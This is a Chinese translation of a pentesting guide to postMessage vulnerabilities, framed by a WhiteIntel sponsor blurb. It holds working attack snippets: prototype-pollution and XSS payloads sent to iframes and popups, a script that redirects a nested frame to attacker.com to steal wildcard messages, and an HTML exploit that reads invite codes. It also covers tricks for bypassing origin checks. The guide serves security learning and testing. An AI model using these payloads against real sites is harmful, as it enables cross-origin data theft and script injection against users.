PostMessage Vulnerabilities
PostMessage漏洞

WhiteIntel是一个由暗网支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件的侵害。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
发送PostMessage
PostMessage使用以下函数发送消息:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
请注意,targetOrigin 可以是 '*' 或 URL,如 https://company.com. 在第二种情况中,消息只能发送到该域(即使窗口对象的来源不同)。 如果使用通配符,消息可以发送到任何域,并将发送到窗口对象的来源。
攻击 iframe 和 targetOrigin 中的通配符
如此报告所述,如果您找到一个页面可以被iframed(没有 X-Frame-Header
保护)并且通过postMessage使用通配符(*)发送敏感消息,您可以修改 iframe 的来源并将敏感消息泄露到您控制的域。
请注意,如果页面可以被 iframed 但targetOrigin设置为 URL 而不是通配符,则此技巧将无效。
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener 漏洞利用
addEventListener
是 JS 使用的函数,用于声明期望接收 postMessages
的函数。
将使用类似以下代码的代码:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
枚举
为了在当前页面中找到事件监听器,您可以:
在JS代码中搜索
window.addEventListener
和$(window).on
(JQuery版本)在开发者工具控制台中执行:
getEventListeners(window)

转到浏览器的开发者工具中的 Elements --> Event Listeners

使用浏览器扩展,如 https://github.com/benso-io/posta 或 https://github.com/fransr/postMessage-tracker。这些浏览器扩展将拦截所有消息并显示给您。
源检查绕过
event.isTrusted
属性被认为是安全的,因为它仅对由真实用户操作生成的事件返回True
。尽管如果实施正确,绕过它是具有挑战性的,但它在安全检查中的重要性值得注意。在 PostMessage 事件中使用
indexOf()
进行源验证可能容易被绕过。以下是说明此漏洞的示例:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
String.prototype.search()
中的search()
方法用于正则表达式,而不是字符串。传递除正则表达式以外的任何内容会导致隐式转换为正则表达式,使该方法可能不安全。这是因为在正则表达式中,点(.)充当通配符,允许使用特别设计的域绕过验证。例如:
"https://www.safedomain.com".search("www.s.fedomain.com")
match()
函数类似于search()
,处理正则表达式。如果正则表达式结构不正确,可能容易被绕过。escapeHtml
函数旨在通过转义字符来对输入进行清理。但它不会创建新的转义对象,而是覆盖现有对象的属性。这种行为可能会被利用。特别是,如果可以操纵对象以使其受控属性不承认hasOwnProperty
,则escapeHtml
不会按预期执行。以下示例演示了这一点:预期失败:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
绕过转义:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
在此漏洞的背景下,File
对象由于其只读的 name
属性而容易被利用。当在模板中使用此属性时,它不会被 escapeHtml
函数清理,从而导致潜在的安全风险。
JavaScript 中的
document.domain
属性可以由脚本设置为缩短域名,从而在同一父域内更宽松地执行同源策略。
e.origin == window.origin 绕过
在使用 %%%%%% 在 受控的 iframe 中嵌入网页时,了解 iframe 的来源将被设置为 null 是至关重要的。这在处理 受控属性 及其对安全性和功能的影响时尤为重要。
通过在受控属性中指定 allow-popups
,从 iframe 中打开的任何弹出窗口都会继承其父级的受控限制。这意味着,除非还包括 allow-popups-to-escape-sandbox
属性,否则弹出窗口的来源也会被设置为 null
,与 iframe 的来源相同。
因此,在这些条件下打开弹出窗口并从 iframe 发送消息到弹出窗口时,发送和接收端的来源都被设置为 null
。这种情况导致 e.origin == window.origin
评估为 true(null == null
),因为 iframe 和弹出窗口共享相同的 null
来源值。
有关更多信息,请阅读:
Bypassing SOP with Iframes - 1绕过 e.source
可以检查消息是否来自脚本正在监听的同一窗口(对于来自浏览器扩展的 内容脚本 特别有趣,以检查消息是否来自同一页面):
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
你可以通过创建一个iframe发送postMessage并立即删除它,强制消息的**e.source
**为null。
要了解更多信息,请阅读:
Bypassing SOP with Iframes - 2X-Frame-Header绕过
为了执行这些攻击,理想情况下,你可以将受害者网页放在一个iframe
中。但是一些像X-Frame-Header
这样的标头可能会阻止这种行为。
在这种情况下,你仍然可以使用一种不那么隐秘的攻击。你可以打开一个新标签页到受影响的Web应用程序并与其通信:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
通过阻止主页面窃取发送给子iframe的消息
在以下页面中,您可以看到如何通过在发送数据之前阻止主页面并利用子页面中的XSS来窃取发送给子iframe的敏感postmessage数据:
Blocking main page to steal postmessage通过修改iframe位置窃取消息
如果您可以嵌入一个没有X-Frame-Header的包含另一个iframe的网页,您可以更改该子iframe的位置,因此,如果它正在接收使用通配符发送的postmessage,攻击者可以将该iframe的来源更改为由他控制的页面,并窃取消息:
Steal postmessage modifying iframe locationpostMessage到Prototype Pollution和/或XSS
在通过postMessage
发送的数据由JS执行的情况下,您可以嵌入该页面并利用原型污染/XSS通过postMessage
发送利用程序。
可以在https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html中找到一些非常好解释的通过postMessage
的XSS示例。
通过postMessage
向iframe
发送利用程序以滥用原型污染,然后XSS的示例:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
更多信息
链接到有关原型污染的页面
链接到有关XSS的页面
链接到有关客户端原型污染到XSS的页面
参考资料

WhiteIntel 是一个由暗网支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件的威胁。
WhiteIntel的主要目标是打击由窃取信息的恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
最后更新于